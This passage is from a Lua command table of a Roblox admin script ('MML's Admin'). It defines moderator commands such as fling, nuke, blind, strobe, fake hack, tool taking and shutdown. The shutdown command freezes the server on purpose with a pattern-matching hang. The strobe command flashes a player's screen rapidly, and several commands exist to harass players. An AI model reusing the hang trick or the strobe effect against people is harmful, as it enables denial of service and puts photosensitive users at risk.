6312 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6313 end
6314 end
6315 end
6316 end
6317 end};
6318
6319 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6320 local Players = STRING:Scan(Arguments[1], Speaker)
6321 for _,Player in pairs(Players) do
6322 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6323 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6324 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6325 end
6326 end
6327 end};
6328
6329 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6330 local Players = STRING:Scan(Arguments[1], Speaker)
6331 for _,Player in pairs(Players) do
6332 local _,RankNum = RANK:GetRank(Player)
6333 if RankNum <= RANK:ConvertRank(Rank) then
6334 CORE:FlingPlayer(Player)
6335 end
6336 end
6337 end};
6338
6339 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6340 local Players = STRING:Scan(Arguments[1], Speaker)
6341 for _,Player in pairs(Players) do
6342 local _,RankNum = RANK:GetRank(Player)
6343 if RankNum <= RANK:ConvertRank(Rank) then
6344 Flings[Player.Name] = true
6345 CORE:FlingPlayer(Player)
6346 end
6347 end
6348 end};
6349
6350 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6351 local Players = STRING:Scan(Arguments[1], Speaker)
6352 for _,Player in pairs(Players) do
6353 local _,RankNum = RANK:GetRank(Player)
6354 if RankNum <= RANK:ConvertRank(Rank) then
6355 Flings[Player.Name] = nil
6356 end
6357 end
6358 end};
6359
6360 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6361 local Players = STRING:Scan(Arguments[1], Speaker)
6362 for _,Player in pairs(Players) do
6363 CORE:Nuke(Player)
6364 end
6365 end};
6366
6367 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6368 local Players = STRING:Scan(Arguments[1], Speaker)
6369 for _,Player in pairs(Players) do
6370 Beeps[Player.Name] = true
6371 SOUND:BeepPlayer(Player)
6372 end
6373 end};
6374
6375 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6376 local Players = STRING:Scan(Arguments[1], Speaker)
6377 for _,Player in pairs(Players) do
6378 if Player.PlayerGui then
6379 Beeps[Player.Name] = nil
6380 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6381 if Obj.Name == "Annoy" then
6382 Obj:Stop()
6383 Obj:Destroy()
6384 end
6385 end
6386 end
6387 end
6388 end};
6389
6390 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6391 local Time = Arguments[1]
6392 if Time == "day" or Time == "noon" then Time = "12" end
6393 if Time == "night" or Time == "midnight" then Time = "0" end
6394 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6395 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6396 if Time == "afternoon" then Time = "15:30" end
6397 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6398 end};
6399
6400 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6401 local Players = STRING:Scan(Arguments[1], Speaker)
6402 for _,Player in pairs(Players) do
6403 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6404 end
6405 end};
6406
6407 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6408 local AbuseMode = false
6409 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6410 local Players = STRING:Scan(Arguments[1], Speaker)
6411 for _,Player in pairs(Players) do
6412 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6413 end
6414 end};
6415
6416 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6417 local Players = STRING:Scan(Arguments[1], Speaker)
6418 for _,Player in pairs(Players) do
6419 CORE:Insert(125013769, Player.Backpack, true)
6420 end
6421 end};
6422
6423 [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6424 local Players = STRING:Scan(Arguments[1], Speaker)
6425 for _,Player in pairs(Players) do
6426 if Player.Character then
6427 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6428 end
6429 end
6430 end};
6431
6432 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6433 CORE:ResetLighting()
6434 repeat
6435 Server.Lighting.Ambient = Color3.new(1,1,1)
6436 Server.Lighting.FogColor = Color3.new(1,1,1)
6437 Server.Lighting.Brightness = 1
6438 Server.Lighting.TimeOfDay = 14
6439 wait(0.1)
6440 Server.Lighting.Ambient = Color3.new(0,0,0)
6441 Server.Lighting.FogColor = Color3.new(0,0,0)
6442 Server.Lighting.Brightness = 0
6443 Server.Lighting.TimeOfDay = 0
6444 wait(0.1)
6445 until ModLighting == false
6446 end};
6447
6448 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6449 CORE:ResetLighting()
6450 repeat
6451 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6452 Server.Lighting.Ambient = Color
6453 Server.Lighting.FogColor = Color
6454 Server.Lighting.TimeOfDay = 0
6455 Server.Lighting.FogEnd = 500
6456 wait(0.1)
6457 until ModLighting == false
6458 end};
6459
6460 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6461 CORE:FixLighting()
6462 end};
6463
6464 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6465 local Players = STRING:Scan(Arguments[1], Speaker)
6466 for _,Player in pairs(Players) do
6467 if Player:FindFirstChild("PlayerGui") then
6468 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6469 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6470 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6471 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6472 end
6473 end
6474 end};
6475
6476 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6477 local Players = STRING:Scan(Arguments[1], Speaker)
6478 for _,Player in pairs(Players) do
6479 if Player:FindFirstChild("PlayerGui") then
6480 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6481 end
6482 end
6483 end};
6484
6485 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6486 local Players = STRING:Scan(Arguments[1], Speaker)
6487 for _,Player in pairs(Players) do
6488 if Player:FindFirstChild("PlayerGui") then
6489 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6490 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6491 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6492 end
6493 end
6494 end};
6495
6496 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6497 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6498 if Suc then
6499 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6500 else
6501 Server.TS:Teleport(game.PlaceId, Speaker)
6502 end
6503 end};
6504
6505 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6506 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6507 end};
6508
6509 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6510 local NewAbuse = Arguments[1]
6511 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6512 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6513 end
6514
6515 local Match = false
6516 for _,AbuseCmd in pairs(Settings.AbuseList) do
6517 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6518 Match = true
6519 break
6520 end
6521 end
6522 if not Match then
6523 table.insert(Settings.AbuseList, NewAbuse)
6524 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6525 else
6526 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6527 end
6528 CORE:SetAbuseCommands()
6529 end};
6530
6531 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6532 local NewAbuse = Arguments[1]
6533 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6534 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6535 end
6536
6537 local Removed = false
6538 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6539 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6540 Removed = true
6541 table.remove(Settings.AbuseList, Num)
6542 end
6543 end
6544 if Removed then
6545 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6546 else
6547 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6548 end
6549 CORE:SetAbuseCommands()
6550 end};
6551
6552 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6553 local Players = STRING:Scan(Arguments[1], Speaker)
6554 for _,Player in pairs(Players) do
6555 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6556 Player.Character.Humanoid.MaxHealth = math.huge
6557 Player.Character.Humanoid.Health = math.huge
6558 end
6559 end
6560 end};
6561
6562 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6563 local Players = STRING:Scan(Arguments[1], Speaker)
6564 for _,Player in pairs(Players) do
6565 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6566 if Player.Character.Humanoid.MaxHealth == math.huge then
6567 Player.Character.Humanoid.MaxHealth = 100
6568 Player.Character.Humanoid.Health = 100
6569 else
6570 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6571 end
6572 end
6573 end
6574 end};
6575
6576 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6577 local Players = STRING:Scan(Arguments[1], Speaker)
6578 for _,Player in pairs(Players) do
6579 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6580 local Char = Player.Character
6581 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6582 end
6583 end
6584 end};
6585
6586 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6587 if tonumber(Arguments[2]) then
6588 local Players = STRING:Scan(Arguments[1], Speaker)
6589 for _,Player in pairs(Players) do
6590 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6591 Player.Character.Humanoid.Health = Arguments[2]
6592 end
6593 end
6594 end
6595 end};
6596
6597 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6598 if tonumber(Arguments[2]) then
6599 local Players = STRING:Scan(Arguments[1], Speaker)
6600 for _,Player in pairs(Players) do
6601 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6602 local Speed = tonumber(Arguments[2])
6603 if Speed then
6604 if Rank == "Member" then
6605 if Speed > 1000 then Speed = 1000
6606 elseif Speed < -1000 then Speed = -1000 end
6607 end
6608 Player.Character.Humanoid.WalkSpeed = Speed
6609 end
6610 end
6611 end
6612 end
6613 end};
6614
6615 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6616 if tonumber(Arguments[2]) then
6617 local Players = STRING:Scan(Arguments[1], Speaker)
6618 for _,Player in pairs(Players) do
6619 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6620 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6621 end
6622 end
6623 end
6624 end};
6625
6626 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6627 local Players = STRING:Scan(Arguments[1], Speaker)
6628 for _,Player in pairs(Players) do
6629 CORE:Fly(Player, 10000)
6630 end
6631 end};
6632
6633 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6634 local Players = STRING:Scan(Arguments[1], Speaker)
6635 for _,Player in pairs(Players) do
6636 CORE:Fly(Player, 1000000)
6637 end
6638 end};
6639
6640 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6641 local Players = STRING:Scan(Arguments[1], Speaker)
6642 for _,Player in pairs(Players) do
6643 if Player.Character then
6644 if Player.Character:FindFirstChild("StopMMLFly") then
6645 Player.Character.StopMMLFly:InvokeClient(Player)
6646 end
6647 end
6648 end
6649 end};
6650
6651 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6652 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages
6653 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6654 end};
6655
6656 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6657 local Players = STRING:Scan(Arguments[1], Speaker)
6658 for _,Player in pairs(Players) do
6659 CORE:GiveTools(Player, Arguments[2])
6660 end
6661 end};
6662
6663 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6664 local List = {}
6665 for _,Region in pairs(ToolRegions) do
6666 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6667 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6668 end)
6669 end
6670
6671 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6672 end};
6673
6674 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6675 local Players = STRING:Scan(Arguments[1], Speaker)
6676 for _,Player in pairs(Players) do
6677 CORE:GiveTools(Player, "btools")
6678 end
6679 end};
6680
6681 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6682 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6683 for _,Player in pairs(Server.Players:GetPlayers()) do
6684 Player:Kick()
6685 end
6686 Server.Workspace:ClearAllChildren()
6687 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6688 end};
6689
6690 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6691 local Players = STRING:Scan(Arguments[1], Speaker)
6692 for _,Player in pairs(Players) do
6693 CORE:Scale(Player, Arguments[2])
6694 end
6695 end};
6696
6697 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6698 local Players = STRING:Scan(Arguments[1], Speaker)
6699 for _,Player in pairs(Players) do
6700 CORE:Scale(Player, 50)
6701 end
6702 end};
6703
6704 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6705 local Players = STRING:Scan(Arguments[1], Speaker)
6706 for _,Player in pairs(Players) do
6707 CORE:Scale(Player, 70)
6708 end
6709 end, Hidden = true};
6710
6711 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6712 local Players = STRING:Scan(Arguments[1], Speaker)
6713 for _,Player in pairs(Players) do
6714 CORE:Scale(Player, 500)
6715 end
6716 end};
6717
6718 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6719 local Players = STRING:Scan(Arguments[1], Speaker)
6720 for _,Player in pairs(Players) do
6721 if Player.Character then
6722 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6723 Obj.Reflectance = 0.5
6724 Obj.BrickColor = BrickColor.new("New Yeller")
6725 end)
6726 end
6727 end
6728 end};
6729
6730 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6731 local Players = STRING:Scan(Arguments[1], Speaker)
6732 for _,Player in pairs(Players) do
6733 if Player.Character then
6734 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6735 Obj.Reflectance = 0.5
6736 end)
6737 end
6738 end
6739 end};
6740
6741 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6742 local Players = STRING:Scan(Arguments[1], Speaker)
6743 for _,Player in pairs(Players) do
6744 if Player.Character then
6745 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6746 Obj.Transparency = 0.5
6747 Obj.Reflectance = 0
6748 Obj.BrickColor = BrickColor.new("Institutional white")
6749 end)
6750 CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj)
6751 Obj.Transparency = 0.5
6752 end)
6753 end
6754 end
6755 end};
6756
6757 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6758 local Players = STRING:Scan(Arguments[1], Speaker)
6759 for _,Player in pairs(Players) do
6760 if Player.Character then
6761 for _,Obj in pairs(Player.Character:GetChildren()) do
6762 local Valid = false
6763 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6764 if Valid == true then Obj:Destroy() end
6765 end
6766 end
6767 end
6768 end};
6769
6770 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6771 local Players = STRING:Scan(Arguments[1], Speaker)
6772 for _,Player in pairs(Players) do
6773 if Player.Character then
6774 for _,Obj in pairs(Player.Character:GetChildren()) do
6775 local Valid = false
6776 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6777 if Valid == true then Obj:Destroy() end
6778 end
6779 end
6780 end
6781 end};
6782
6783 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6784 local Players = STRING:Scan(Arguments[1], Speaker)
6785 for _,Player in pairs(Players) do
6786 if Player.Character then
6787 for _,Obj in pairs(Player.Character:GetChildren()) do
6788 local Valid = false
6789 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6790 if Valid == true then Obj:Destroy() end
6791 end
6792 end
6793 end
6794 end};
6795
6796 [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6797 local Players = STRING:Scan(Arguments[1], Speaker)
6798 for _,Player in pairs(Players) do
6799 if Player.Character then
6800 for _,Obj in pairs(Player.Character:GetChildren()) do
6801 if Obj:IsA("Hat") then
6802 Obj:Destroy()
6803 end
6804 end
6805 end
6806 end
6807 end};
6808
6809 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6810 local Players = STRING:Scan(Arguments[1], Speaker)
6811 for _,Player in pairs(Players) do
6812 Player:ClearCharacterAppearance()
6813 end
6814 end};
6815
6816 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6817 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
6818 local TmpPlayers = {}
6819 local Output = {}
6820 for _,Data in pairs(Players) do
6821 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
6822 end
6823 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
6824 end};
6825
6826 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
6827 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
6828 GUI:SendHint(Speaker, "Player Database cleared", 5)
6829 end};
6830
6831 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
6832 local Players = STRING:Scan(Arguments[1], Speaker)
6833 for _,Player in pairs(Players) do
6834 GUI:FakeHack(Player)
6835 end
6836 end};
6837
6838 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6839 local Players = STRING:Scan(Arguments[1], Speaker)
6840 for _,Player in pairs(Players) do
6841 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6842 for _,Object in pairs(Player.Backpack:GetChildren()) do
6843 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6844 local Clone = Object:Clone()
6845 Clone.Parent = Speaker.Backpack
6846 end
6847 end
6848 end
6849 end
6850 end};
6851
6852 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6853 local Players = STRING:Scan(Arguments[1], Speaker)
6854 for _,Player in pairs(Players) do
6855 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6856 for _,Object in pairs(Player.Backpack:GetChildren()) do
6857 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6858 Object.Parent = Speaker.Backpack
6859 end
6860 end
6861 end
6862 end
6863 end};
6864
6865 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
6866 local Players = STRING:Scan(Arguments[1], Speaker)
6867 for _,Player in pairs(Players) do
6868 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6869 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
6870 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6871 local Clone = Object:Clone()
6872 Clone.Parent = Player.Backpack
6873 end
6874 end
6875 end
6876 end
6877 end};
6878
6879 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
6880 local Players = STRING:Scan(Arguments[1], Speaker)
6881 for _,Player in pairs(Players) do
6882 if Player:FindFirstChild("Backpack") then
6883 Player.Backpack:ClearAllChildren()
6884 end
6885 if Player.Character ~= nil then
6886 for _,Obj in pairs(Player.Character:GetChildren()) do
6887 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
6888 Obj:Destroy()
6889 end
6890 end
6891 end
6892 end
6893 end};
6894
6895 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
6896 local Players = STRING:Scan(Arguments[1], Speaker)
6897 for _,Player in pairs(Players) do
6898 if Player.Character then
6899 if Player.Character:FindFirstChild("Head") then
6900 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
6901 coroutine.wrap(function()
6902 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6903 local OldFace = Player.Character.Head.face.Texture
6904 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
6905 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
6906 Player.Character.Head.face.Texture = "rbxassetid://24067663"
6907 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
6908 Sound:Play()
6909 coroutine.wrap(function() for i = 1,100 do wait()
6910 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
6911 coroutine.wrap(function() wait(3) Part:Destroy() end)()
6912 end
6913 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
6914 end end
6915 end)()
6916 end
6917 end
6918 end
6919 end
6920 end};
6921
6922 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
6923 local Players = STRING:Scan(Arguments[1], Speaker)
6924 for _,Player in pairs(Players) do
6925 if Player.Character then
6926 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
6927 coroutine.wrap(function()
6928 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6929 local OldFace = Player.Character.Head.face.Texture
6930 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
6931 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
6932 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
6933 Player.Character.Head.face.Texture = "rbxassetid://28118994"
6934 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
6935 Sound:Play()
6936 wait(1)
6937 Smoke.Enabled = false
6938 wait(1)
6939 Fart:Destroy()
6940 Fart:Destroy()
6941 Player.Character.Head.face.Texture = OldFace
6942 end end
6943 end)()
6944 end
6945 end
6946 end
6947 end};
6948
6949 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
6950 local Players = STRING:Scan(Arguments[1], Speaker)
6951 for _,Player in pairs(Players) do
6952 if Player:FindFirstChild("Backpack") then
6953 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
6954 end
6955 end
6956 end};
6957
6958 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
6959 local Players = STRING:Scan(Arguments[1], Speaker)
6960 for _,Player in pairs(Players) do
6961 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
6962 Player.Character.MMLGraffiti:ClearAllChildren()
6963 end
6964 end
6965 end};
6966
6967 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
6968 local Players = STRING:Scan(Arguments[1], Speaker)
6969 for _,Player in pairs(Players) do
6970 if Player.Character and Player.Character:FindFirstChild("Torso") then
6971 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
6972 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
6973 end
6974 end
6975 end};
6976
